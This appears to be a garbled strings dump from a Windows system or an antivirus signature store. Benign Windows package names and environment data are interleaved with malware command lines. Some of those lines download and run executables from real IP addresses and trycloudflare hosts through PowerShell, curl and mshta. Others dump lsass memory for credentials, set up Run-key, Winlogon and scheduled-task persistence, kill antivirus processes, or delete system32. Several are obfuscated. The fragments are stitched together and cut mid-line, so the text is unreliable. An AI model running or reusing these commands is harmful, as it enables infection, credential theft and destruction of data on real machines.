cmd.execompartida/q/v/rst^a^r^t^m^si^ex^ec-f^v"http://2t.wf:8080/apy1q3huy/ystaw7k1fp/r/s8j4wwgub8w3ovjhnksrtzqdb/!computername!"^itb^d^pc=^b^pw^ef^t^h^nb/^qn%windir%\system32\shell32.dll%
P~Microsoft.WindowsStore_8wekyb3d8bbwe!AppMicrosoft.WindowsStore_8wekyb3d8bbwe!App
P~Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!AppMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
P~Microsoft.WindowsAlarms_8wekyb3d8bbwe!AppMicrosoft.WindowsAlarms_8wekyb3d8bbwe!App
P~Microsoft.Windows.Photos_8wekyb3d8bbwe!AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!App
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
*OWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
c:\windows\system32\cmd.exe/cstart/minpowershell-exbypass-wh-c$l=get-childitem-eaignore-r-i'*.rar';foreach($fin$l){$s=[io.file]::readalltext($f);$i=$s.indexof('ec'+'ho');if($i-gt0){cmd/c$s.substring($i+5)}}
in"windowssecurity"}
%system32%\sfc.exe
GetWindowSubclass
RemoveWindowSubclass
SetWindowSubclass
WindowsCreateStringReference
?*link.arguments="-windowstylehidden"#
SysWow64\\Windows\.c"&"lin"&"tm"&"ore"&"y.c"&"om/w"&"p-c"&"on"&"te"&"nt/QS"&"zb"&"H8I"&"kl"&"8E/","cib"&"erfa"&"lla"&"s.co"&"m/w"&"p-a"&"dm"&"in/4"&"sU1"&"dA"&"Ty/","co"&"d"&"e78"&"6.c"&"o"&"m/b"&"eel"&"dO"&"L"&"D/AT"&"nNk"&"31"&"6/","co"&"mba"&"tente"&"rpri"&"se"&"s.c"&"om/c"&"gi-b"&"in/1B"&"abm"&"NqCK"&"Bx"&"UIz"&"Uy/","s"&"d-16"&"8"&"462"&"5-h"&"00"&"00"&"1.fe"&"ro"&"zo.n"&"et/Pag"&"ina"&"M"&"asVie"&"ja13"&"216"&"54/F"&"1M5"&"dB"&"u8a"&"xu"&"Qkx"&"0p"&"8/","c"&"om"&"arca"&"ho"&"y.c"&"om.a"&"r/w"&"p-co"&"nt"&"en"&"t/S"&"1nkr"&"xC"&"cD"&"V8"&"9D"&"Lp"&"TX"&"hq"&"C/","TrojanDownloader:O97M/EncDoc.PAAZ!MTB
\windows\ise\ise_add_profile.bat
\windows\disable-usbhubsleep.ps1
\windows\logs\defender-onboard-startupscript.ps1
windowsdefenderatponboardingpackage
windowsdefenderatponboardingscript
|windows credential manager<
windows disk management@
Microsoft.Windows.MobilityExperience.CrossDevice
Microsoft.Windows.Security.TokenBroker.Aggregated
Microsoft.Windows.MobilityExperience.CrossDevice.Health
windows.hlp
SnapShot::GetClientWindowSizes(): got intersection for clientRect and topRect
bc^windows.appExtension
bd^windows.activatableClass.outOfProcessServer
windows.activatableClass.outOfProcessServer
I@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IApplication@UApp@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UApp@implementation@TaskManagerApp@winrt@@UIApplication2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IApplication2@UApp@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UApp@implementation@TaskManagerApp@winrt@@UIApplication3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IApplication3@UApp@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UApp@implementation@TaskManagerApp@winrt@@UApplication@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UApp@implementation@TaskManagerApp@winrt@@UApplication@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IApplicationOverridesT@UApp@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IApplicationOverrides2T@UApp@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$implements@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UAffinityDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UXamlMetaDataProvider@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVStartupTaskInternal@Internal@ApplicationModel@Windows@@@Co
OS=Windows_NT
$tasks_chek=run(@comspec&"/c"&"schtasks/create/schourly/mo1/tn""windows\microsoft\massenger""/tr"&$exe
g<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>
new-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"
Microsoft.Windows.EnterpriseManagement.Enrollment
Microsoft.Windows.Store.StoreFrontHelperTelemetry
e9^com.microsoft.windows.e
software\microsoft\windows nt\currentversion\print\packageinstallation\windows
onecoreuap\shell\windows.system.launcher\lib\launcherservicehost.cpp
dows\system32\cmd.exe/cimg_
Qusb=shell.regread("hkcu\windowsshell")
?;c:\windows\system32\imageres.dll%systemroot%\system32\imageres.dll
A{c:\windows\system32\forfiles.exe/pc:\windows\vss/c"powershellstartmshtahttp://82.115.223.234/downloads/failure.hta
c:\windows\system32\forfiles.exe/pc:\windows\vss/c"powershellstartmshtahttp://82.115.223.234/downloads/gos/gos.hta
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
g.exe add "hkcu\software\microsoft\windows\currentversion\explorer\advanced" /v showsuperhidden /t reg_dword /d 0 /ftskill.exe USBGuardH:\Program Files\BitDefenderattrib.exe +s +r +h "
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
WindowsApplication35.Resources.resourcesTrojan:AndroidOS/FakeApp.P!MTB
%linkrunps%-windowstylehidden-command"set-itemvariable:/z'c:\programdata\microsoft\nodejstoolsvsix\q8dte1ulaxrg.t';lspanyo*;
grV~c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://freepaidstuff.com/wp-content/themes/proformainvoice87425.exe','%appdata%\taskmanager.exe');cmd/c'%appdata%\taskmanager.exe'
system32\vssadmin.exe
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runwww.9ifz.org/
3^Windows.PrintDialog_cw5n1h2txyewy!Microsoft.,
OutlookForWindows
WindowsCreateString
WindowsCompareStringOrdinal
EnumChildWindows
EnumWindows
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\device\harddiskvolume3\windows\prefetch\
System32\vssadmin.exe
5(@C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -_
c:\windows\system32\drivers\
c:\windows\google
\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management
SafeHeapWin32Object\Windows Messaging Subsystem\MSMapiAppsMSWQ*.tmp
oftware\microsoft\windowsnt
windows\currentS
?xrunzyk&"\system32\windowspowershell\v1.0\
	COMPUTERNAME=WINDOWS11
icon=%systemroot%\system32\shell32.dll,4
Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803taskkill /f /im VsTskMgr.exeSOFTWARE\360Safe\safemon\ExecAccess[HKEY_CLASSES_ROOT\exefile\DefaultIcon]taskkill /f /im Rav.exe
rwindows 
common files\unicam softwarereg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "explorer.exe,Software\WebMoney\pathrefuse.txt
action=openfoldertoviewfilesusingwindowsexplorer
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
lc:\windows\system32\mshta.exe"\\olympics-inform-batteries-afterwards.trycloudflare.com@ssl\davwwwroot\fan.hta"
c:\windows\system32\mshta.exe"\\refurbished-joan-receivers-guarantee.trycloudflare.com@ssl\davwwwroot\kak.hta"
c:\windows\system32\windowspowershell\v1.0\powershell.exe'.c:\w*\s*2\m*ta.*ehttp
c:\windows\system32\cmd.exe/cmode15,1&curlhttp://onedrive.webhop.me/sa.bat-o%temp%\sa.bat&start/b%temp%\sa.bat
c:\windows\system32\cmd.exe/ccdc:\windows\temp\&curl-o1.exehttp://147.45.44.131/files/keyformed.exe&start1.exe
A\system32\rundll32.exe
!%systemroot%\system32\shell32.dll%windir%\system32\rundll32.exe
-c"rundll32.exec:\windows\system32\comsvcs.dll,minidump(get-processlsass).id"%tmp%\
ifilesystem3.copyfile("c:\windows\system32\wscript.exe","c:\users\
WinlogonLogoffEv
WinlogonStartupEv
:Image2Clicko do php google gmail qe ta la na pasta de hospedagememailKeyDownGmail: Email do Google - Windows Internet Explorer
ecyc%systemroot%\system32\calc.execmd /c copy %s %s%s%dcnna.txt
c:\windows\iedwf.exeprogram files\windows nt\dnlauncher_.dllc:\windows\qqupdate.dlltaskkill.exe /pid %d /f
\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 
attrib +h +s "%windir%\system32\drivers\etc\hosts">> %windir%\system32\drivers\etc\h
0etwindowsdirectorya
c:\windows\imew.163.com.z1.rqbao.como
system32\shell32.dll,4
This is RedBindeRRedBinderC:\Windows\system.exe
C:\WINDOWS\
{SOFTWARE\Microsoft\Windows\CurrentVersion\policies\_targetid44C997F6EF8AE82E7053083E87EBE9245BSOFTWARE\Microsoft\Windows\CurrentVersion\policies\_loadname
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojanDetector.exe\Debuggerchtdll.dllgg_file
^m360se_frame system32\ime\ping -n echo wscript.createobject(^"wscript.shell^").run(^"cmd /c xcopyecho createobject("wscript.shell").run "cmd.exe /c regedit/s^"^&chr(34)),vbhide>
 bios, Windows8-967-284-74-47
RUNDLL32.EXE C:\Windows\iexplore.exe,i%s/mm%s.log%s/pp%s.log
/c rEG aDD  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  /v 
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
SOFTWARE\Microsoft\Windows\{6C877222-D875-4ABA-9798-648E8BEBCD3C}
@copy/y%nam%"%systemroot%\system32\sysresid.exe
HAHHHHSOFTWARE\mICRosOFT\wINDoWs nt\cURrENTvERsIoN\sVcHosT%s:\DoCumEnts And SetTinGs\LocalSeRVice%s\%d_Index.TEMP
/c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\WINDOWS\system32\userinit.exe,C:\Documents and Settings\Administrator\
attrib +h "Virus Name.batYour system is fuckedshutdown -s -t 60 -c "Bye Byedel /f /q C:\WINDOWS\system32\*
Microsoft.Windows.Shell.DesktopWallpaper
Microsoft.Windows.AppxPackaging
Microsoft.Windows.Shell.WindowMessageService
Microsoft.Windows.Shell.StartupHealth
Microsoft.Windows.Storage.StorageService
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.FileExplorerErrorFallback
GetActivationFactory( HStringReference(RuntimeClass_Windows_Internal_ApplicationModel_TaskbarPinnableSurface).Get(), &pinnableSurfaceFactory)
Windows::Management::Deployment::WaitForDeploymentOperation
7f^windows.publisherCacheFolders
de^windows.deploymentExtensionHandler
8f^windows.publisherCacheFolders
93^windows.publisherCacheFolders
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)HTTP/1.0 200Trojan:HTML/Obfuse.PRRG!MTB
MainWindowStatusBarPalette
/windows/desiredstateconfiguration
s\system32\cmdV
stop"windowsdefenderservice"net
!This is a Windows NT w
powershell.exe-whidden-c"copy-item'\\invoicetrycloudflare.com@9983\davwwwroot\file.bat'\"$env:userprofile\downloads\";start-process\"$env:userprofile\downloads\file.bat\"-windowstylehidden
Microsoft.Windows.Storage.StorageUsage
Microsoft.Windows.Storage.StorageAPI
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.Security.EFS.EfsWrt
Microsoft.Windows.Apps.PhoneUtilsProviders
ZMicrosoft-Windows-Composition-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
"windows-d
C:\Windows\Microsoft.NET\Framework\v4.0.30319
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
abMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
WindowsServerUpdateServices
~c:\windows\system32\wscript.exe
\\WINDOWS11
Windowsm
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
microsoft.windows.srdelayedm
windows system restore delayed file renamerw
software\microsoft\windows nt\currentversion\winlogon
,c:\windows\explorer.exe
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
windir=C:\WINDOWS
WindowsH
line=%sc:\windows\'
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-commandiwr-urihttp://213.209.129.155/test.exe-outfile$env:temp\t.exe;start-process$env:temp\t.exe-windowstylehidden
4`c:\windows\system32\windowspowershell\v1.0\powershell.exe-oproxycommand="powershellpowershell-command'alc15y7xi6izdmshtahttps://docu-signer.com/api/uz/0912545164/index.mp4alc15y7xi6izd'.substring(13,57)".
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
onecore\private\base\inc\appmodel\common\WindowsShutdownTime.hpp
Oc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbeag0axgbeaf4acwboahqayqagaf4axgbeaggadab0ahaaxgbeahmaogbeaf4alwbeaf4axgbeac8acwbeaf4ayqbeaf4axgbkaf4axgbeaf4azwbmaf4adqbeageaxgbeaf4anqbeaf4axga0agealgb4af4aeqbeaf4axgbeahoaxgavahaaxgbeaggaxgbeaf4axgbvag0axgbeag0axgbeaf4axgauag0axgbwadqajwauahiazqbwagwayqbjaguakaanaf4ajwasaccajwapadsaaqblahgaiaaoagcaywbiacka
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0axgbeaf4acwbeaf4axgbeaggadabeaf4axgbeageaiabeaf4aaabeahqadabwahmaogavaf4axgavaf4axgbeahuaxgbeaf4axgbsaf4adabeahiayqb2af4aaqblaf4axgb3aguacgauaf4axgbeag4axgbeaf4azqb0ahcaxgbeaf4abwbeaf4axgbyagsaxgbeaf4axgavaf4adqb2ahcaxgbeaf4axgauag0acaa0accalgbyaguacabsageaywblacgajwbeaccalaanaccakqa7agkazqb4acaakabnagmaygapaa==
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
windows_dispatcher_MSG$
 of Windows Mixed Re1
SA.EvilWest-Windows_4hny5m903y3g05
:\windows\syswow64\
:\windows\servicing\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
t&&n.setMRUGroupBackpropClicks(i,h,ft,rt));let ht=n.getTextForLexicalFeatures(h);if(ht){if(h.handoffType==1){n.computeUrlFeatures(ht,t.queryToFetch,i,e);let r=n.getDomain(ht);n.computeDomainFeatures(h,t.queryToFetch,i,e,r,f)}if(n.isFileOrFolder(h.type)){let t=e.cvid+e.privacyNumber+ht;var ut=h;ut.path&&(t=t+ut.path);i[131]=n.stringHashCode(t)}}l&&(i[440]=l[440],i[441]=l[441],i[451]=l[451],i[450]=l[450],i[452]=l[452]);n.config.undocked?i[1003]=1:i[1002]=1;switch(n.AccessTokenManager.getWindowsAccountType()){case 2:i[1032]=1;break;case 1:i[1030]=1;break;case 3:i[1031]=1;break;case 0:i[1033]=1}let a=i[16]||0;n.isApp(h.type)?(i[1029]=1,i[514]=a,c[334]=Math.max(c[334]||0,a)):n.isSetting(h.type)?(i[1022]=1,i[507]=a,c[327]=Math.max(c[327]||0,a)):h.type=="SW"?(i[1021]=1,i[506]=a,c[326]=Math.max(c[326]||0,a)):n.isWebSuggestion(h)?(i[1023]=1,i[508]=a,c[328]=Math.max(c[328]||0,a)):n.isDocument(h.type)&&h.handoffType==8?(n.Host.isWSBRandomizationEnabled()||n.config.wsbNewFeaturesEnabled||(i[1017]=1,i[502]=a,c[322]=Math.max(c[322]||0,a)),i[904]=1,i[518]=a,c[338]=Math.max(c[338]||0,a)):n.isDocument(h.type)?(i[1017]=1,i[502]=a,c[322]=Math.max(c[322]||0,a)):n.isFolder(h.type)?(i[1018]=1,i[503]=a,c[323]=Math.max(c[323]||0,a)):n.isPhoto(h.type)?(i[1020]=1,i[505]=a,c[325]=Math.max(c[325]||0,a)):h.type=="CG"?(i[1016]=1,i[501]=a,c[321]=Math.max(c[321]||0,a)):h.type=="LV"?(i[1024]=1,i[509]=a,c[329]=Math.max(c[329]||0,a)):h.type=="MU"?(i[1028]=1,i[513]=a,c[333]=Math.max(c[333]||0,a)):h.type=="PPL"?(i[1025]=1,i[510]=a,c[330]=Math.max(c[330]||0,a)):h.type=="MD"?(i[1026]=1,i[511]=a,c[331]=Math.max(c[331]||0,a)):h.type=="TP"?(i[905]=1,i[519]=a,c[339]=Math.max(c[339]||0,a)):h.isAnswer?(i[903]=1,i[517]=a,c[337]=Math.max(c[337]||0,a)):h.type=="SAPP"?(i[902]=1,i[516]=a,c[336]=Math.max(c[336]||0,a)):h.type=="LURL"?(i[901]=1,i[515]=a,c[335]=Math.max(c[335]||0,a)):(i[1019]=1,i[504]=a,c[324]=Math.max(c[324]||0,a));switch(h.handoffType){case 0:i[1034]=1;break;case 1:i[1035]=1;break;case 2:i[1036]=1;break;case 3:i[1037]=1;break;case 8:i[1038]=1;break;case 10:i[1039]=1}if(b=Math.max(b,i[94]||0),k=Math.max(k,i[165]||0),d=Math.max(d,i[95]||0),n.Host.isWSBRandomizationEnabled()){let t=n.Host.getConversationId()+w+h.type+ht+h.handoffType,r=n.getRNG(t);i[1060]=n.trimFeatureStoreValue(r())}n.removeUndefinedAndZeroAndTrimValues(i);v.push(i)}return v.forEach(n=>{for(let t in c){let i=c[t];i>0&&(n[t]=i)}n[350]=b;n[351]=k;n[352]=d}),v}setGroupSuppressionSignals(t,i){if(t){t.maxGroupCCR={};t.maxGroupProbSugClickGivenPref={};t.mruGroupBackpropRatios={};t.mruGroupBackpropWeights={};for(let r of i)if(r.featureStore){let i=n.getGroupType(r),u=r.featureStore[94]||0,f=r.featureStore[0]||0;t.maxGroupCCR[i]=t.maxGroupCCR[i]?Math.max(t.maxGroupCCR[i],u):u;t.maxGroupProbSugClickGivenPref[i]=t.maxGroupProbSugClickGivenPref[i]?Math.max(t.maxGroupProbSugClickGivenPref[i],f):f;t.mruGroupBackpropRatios[i]=r.featureStore[266];t.mruGroupBackpropWeights[i]=r.featureStore[267];(t.mruGroupBackpropWeights[i]||t.mruGroupBackpropRatios[i])&&(t.backPropDataExists=!0)}}}setMRUGroupLaunchRatios(t,i,r,u,f,e){var o,s,h,c,l,a,v,y;if(r){e&&(e.mruGroupRatios={});t[186]=f/r;for(let f in u){let p=u[f]/r;n.getGroupType(i)==Number(f)&&(t[271]=p);e&&(e.mruGroupRatios[f]=p);switch(Number(f)){case n.GroupType.Apps:t[169]=p;break;case n.GroupType.Settings:t[170]=p;break;case n.GroupType.Cortana:t[171]=p;break;case n.GroupType.Command:t[172]=p;break;case n.GroupType.Photos:t[173]=p;break;case n.GroupType.Videos:t[174]=p;break;case n.GroupType.Music:t[175]=p;break;case n.GroupType.Documents:t[176]=p;break;case n.GroupType.Folders:t[177]=p;break;case n.GroupType.Emails:t[178]=p;break;case n.GroupType.Store:t[179]=p;break;case n.GroupType.SearchSuggestions:if(n.config.enableFromYourHistory){t[262]=((o=t[262])!==null&&o!==void 0?o:0)+p;let i=((s=u[n.GroupType.Websites])!==null&&s!==void 0?s:0)+((h=u[n.GroupType.FromYourHistory])!==null&&h!==void 0?h:0);t[180]=i>0?(i+u[f])/r:p}else t[262]=p,t[180]=u[n.GroupType.Websites]?(u[n.GroupType.Websites]+u[f])/r:p;break;case n.GroupType.FromYourHistory:t[262]=((c=t[262])!j
\??\c:\WINDOWS\rapportClean1.txt!!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.20
IsWindowsAIKCertAvailable
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductNamehttps://iplogger.comSelect * from Win32_ProcessorC:\ProgramData\AVAST SoftwareC:\ProgramData\ESETTrojan:HTML/Brocoiner.N!lib
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
windows 0
WindowsUpdate
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\SecStore\SecStore.db-shm
WindowsCF
USERNAME=WINDOWS11$
DOWS\system32\config\systemprofile
windir=C:\WINDOWS
:\windows\system32\rundll32.exe\
Windows
tSystem.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
sSystem.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
set pen double click action|pen double-click settings|pen double click settings|handwriting settings|typing settings|ink settings|windows ink settings|pen settings|pen pressure settings|F
set pen double click action|pen double-click settings|pen double click settings|handwriting settings|typing settings|ink settings|windows ink settings|pen settings|<
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
